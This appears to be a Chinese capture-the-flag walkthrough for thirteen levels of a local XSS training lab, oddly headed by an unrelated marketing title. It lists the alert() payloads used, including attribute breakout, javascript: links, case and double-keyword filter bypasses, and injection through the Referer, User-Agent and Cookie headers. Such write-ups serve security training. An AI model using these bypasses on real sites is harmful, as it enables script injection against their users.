多語(yǔ)言建站系統(tǒng)網(wǎng)絡(luò)營(yíng)銷技巧培訓(xùn)班
文章目錄
- XSS 挑戰(zhàn)靶場(chǎng)通關(guān)
- level1
- level2
- level3
- level4
- level5
- level6
- level7
- level8
- level9
- level10
- level11
- level12
- level13
XSS 挑戰(zhàn)靶場(chǎng)通關(guān)
level1
通過(guò)觀察發(fā)現(xiàn)這個(gè)用戶信息可以修改
那么我們直接輸入攻擊代碼
<script>alert(/wuhu/)</script>
彈框如下:
level2
發(fā)現(xiàn)一個(gè)輸入框,輸入攻擊代碼觀察頁(yè)面反應(yīng)
頁(yè)面將我們的攻擊代碼進(jìn)行了打印。
查看網(wǎng)頁(yè)源代碼,發(fā)現(xiàn)將我們輸入的尖括號(hào)進(jìn)行了轉(zhuǎn)義。
源碼
htmlspecialchars(string): 把預(yù)定義的字符: “<” (小于)、 “>” (大于)、& 、‘’、“” 轉(zhuǎn)換為HTML實(shí)體,防止瀏覽器將其作為HTML元素。
impossible級(jí)別的代碼先判斷name是否為空,不為空的話然后驗(yàn)證其token,來(lái)防范CSRF攻擊。然后再用htmlspecialchars函數(shù)將name中的預(yù)定義字符 “<” (小于)和 “>” (大于)轉(zhuǎn)換成html實(shí)體,這樣就防止了填入標(biāo)簽。
預(yù)定義的字符如下:
& 成為 & " 成為 " ' 成為 ' < 成為 < > 成為 >
這里我們可以閉合該value參數(shù),添加一個(gè)onclick屬性
onclick
是一個(gè) HTML 屬性,用于在用戶點(diǎn)擊(或觸摸)指定的 HTML 元素時(shí)觸發(fā)相應(yīng)的 JavaScript 代碼。
那么我們可以構(gòu)造其他攻擊代碼
" οnclick="alert(99)"
閉合input標(biāo)簽,將語(yǔ)句獨(dú)立出來(lái)
"><script>alert(/xss/)</script>
level3
查看網(wǎng)頁(yè)源代碼,發(fā)現(xiàn)該閉合方式是單引號(hào)
構(gòu)造我們的攻擊代碼
' onclick='alert(/wuhu/)
level4
查看頁(yè)面源代碼
發(fā)現(xiàn)閉合方式是雙引號(hào)閉合。
構(gòu)造我們的攻擊代碼
" onclick="alert(/wuhu/)
level5
注入我們的攻擊代碼
" οnclick="alert(/wuhu/)
頁(yè)面沒(méi)有反應(yīng)
查看頁(yè)面源代碼
這里將我們輸入的事件onclick的on之間添加了下劃線。
試一下<script>標(biāo)簽是否可以
<script>alert(/wuhu/)</script>
同樣頁(yè)面沒(méi)有彈框,查看頁(yè)面源代碼,發(fā)現(xiàn)<script>標(biāo)簽也被添加了下劃線。
這里就無(wú)法使用事件了,可以使用偽協(xié)議,閉合方式為雙引號(hào)。
構(gòu)造攻擊代碼如下:
先將input標(biāo)簽閉合,然后構(gòu)造超鏈接標(biāo)簽
"> <a href="javascript:alert(/xss/)">蕪湖</a>
成功彈框
level6
先輸入攻擊代碼查看頁(yè)面響應(yīng)
<script>alert(/wuhu/)</script>
查看頁(yè)面源碼,發(fā)現(xiàn)script標(biāo)簽被添加了下劃線。
使用響應(yīng)事件來(lái)構(gòu)造攻擊代碼
<a href = "#" onclick = 'alert(/wuhu/)'>click me!</a>
同樣頁(yè)面沒(méi)有響應(yīng),查看頁(yè)面源代碼,發(fā)現(xiàn)響應(yīng)事件被添加了下劃線。
使用偽協(xié)議來(lái)構(gòu)造攻擊代碼
<a href = "javascript:alert(/xss/)">click me!</a>
同樣頁(yè)面沒(méi)有響應(yīng),查看頁(yè)面源代碼,發(fā)現(xiàn)href被添加了下劃線。
采用大小寫(xiě)繞過(guò)的方式構(gòu)造攻擊代碼:
"> <SCRIPT>alert(/wuhu/)</SCRIPT>
level7
先輸入攻擊代碼查看頁(yè)面響應(yīng)
<script>alert(/wuhu/)</script>
頁(yè)面沒(méi)有響應(yīng),查看頁(yè)面源代碼,發(fā)現(xiàn)我們的script標(biāo)簽被替換為空了。
查看源碼
源碼中將script,on,src,data,href標(biāo)簽及屬性轉(zhuǎn)換為空。這里可以先使input便簽進(jìn)行閉合,再雙寫(xiě)script進(jìn)行繞過(guò)。
構(gòu)造攻擊代碼:
"> <scrscriptipt>alert(/xss/)</scrscriptipt>
" oonnclick="alert(/wuhu/)
level8
先輸入攻擊代碼查看頁(yè)面響應(yīng)
<script>alert(/wuhu/)</script>
頁(yè)面沒(méi)有響應(yīng),查看頁(yè)面源代碼
發(fā)現(xiàn)將我們構(gòu)造的攻擊代碼放到了a標(biāo)簽中,并且給script標(biāo)簽添加了下劃線。
查看源碼
這里將script,on,src,data,href,“進(jìn)行了過(guò)濾,并且在嘗試的時(shí)候關(guān)鍵字雙寫(xiě)不管用。那么這里直接選擇不去閉合標(biāo)簽,直接使用偽協(xié)議,但是發(fā)現(xiàn)javascript也被拆開(kāi)了。這里可以對(duì)偽協(xié)議中的字母進(jìn)行轉(zhuǎn)碼。
構(gòu)造攻擊代碼:
javascript:alert(/xss/)
level9
發(fā)現(xiàn)這關(guān)和上一關(guān)中的頁(yè)面差不多,使用上一關(guān)構(gòu)造的攻擊代碼
javascript:alert(/xss/)
頁(yè)面沒(méi)有任何響應(yīng),查看頁(yè)面源代碼
查看源碼
先寫(xiě)一個(gè)正確的鏈接,然后點(diǎn)擊友情鏈接,頁(yè)面可以正常跳轉(zhuǎn)
查看頁(yè)面源代碼,這里顯示出正常了鏈接地址。
源代碼
這里查看我們注入的代碼中是否有http://,如果包含則執(zhí)行else中的語(yǔ)句,將我們構(gòu)造的攻擊代碼輸入到href中,如果不包含則在a標(biāo)簽中的href顯示指定字符串。
strpos — 查找字符串首次出現(xiàn)的位置。
構(gòu)造攻擊d代碼,將http://加入到alert的()中。
javascript:alert('http://')
level10
先輸入攻擊代碼查看頁(yè)面響應(yīng)
http://127.0.0.1/xsschallenge/level10.php?keyword=<script>alert(/wuhu/)</script>
頁(yè)面沒(méi)有任何反應(yīng),查看網(wǎng)頁(yè)源代碼,發(fā)現(xiàn)了三個(gè)隱藏的輸入框參數(shù)分別為t_link,t_history,t_sort。
嘗試給這三個(gè)參數(shù)賦值
發(fā)現(xiàn)只有t_sort有值
查看源代碼
這里對(duì)左右尖括號(hào)進(jìn)行了過(guò)濾
那么我們采用給t_sort賦值的方式注入攻擊代碼:
t_sort=" type="text" onclick = "alert(/xss/)
查看頁(yè)面源代碼,將之前隱藏的輸入框顯示出來(lái),并且添加了一個(gè)數(shù)據(jù)鼠標(biāo)點(diǎn)擊事件。
然后點(diǎn)擊輸入框后彈框
level11
和level10相似,直接查看網(wǎng)頁(yè)源代碼
分別給t_link,t_history和t_sort賦值
發(fā)現(xiàn)還是只有t_sort有值
按照上一關(guān)的思路進(jìn)行構(gòu)造攻擊代碼
t_sort=" type="text" onclick = "alert(/xss/)
頁(yè)面還是沒(méi)有反應(yīng),查看源代碼
發(fā)現(xiàn)提交給t_sort的參數(shù)被過(guò)濾了。
查看源碼,既然t_sort不行,這里嘗試使用t_ref參數(shù)。
t_ref中的value參數(shù)獲取的是 s t r 33 , str33, str33,str33變量獲取的是 s t r 22 , str22, str22,str22變量獲取的是 s t r 11 , str11, str11,str11變量獲取的是HTTP_PEFERER參數(shù)。
修改Referer字段,在該字段構(gòu)造我們的攻擊代碼
" type="text" onclick = "alert(/xss/)
點(diǎn)擊輸入框
彈框如下
level12
查看源代碼
發(fā)現(xiàn)這次傳遞的是USER_AGENT參數(shù)
修改USER_AGENT字段,在該字段構(gòu)造我們的攻擊代碼
" type="button" onclick = "alert(/xss/)
點(diǎn)擊頁(yè)面中的按鈕,彈框如下
level13
查看源代碼
發(fā)現(xiàn)這次傳遞的是COOKIE參數(shù)
修改COOKIE字段,在該字段構(gòu)造我們的攻擊代碼
" type="button" onclick = "alert(/xss/)
點(diǎn)擊頁(yè)面中的輸入框,彈框如下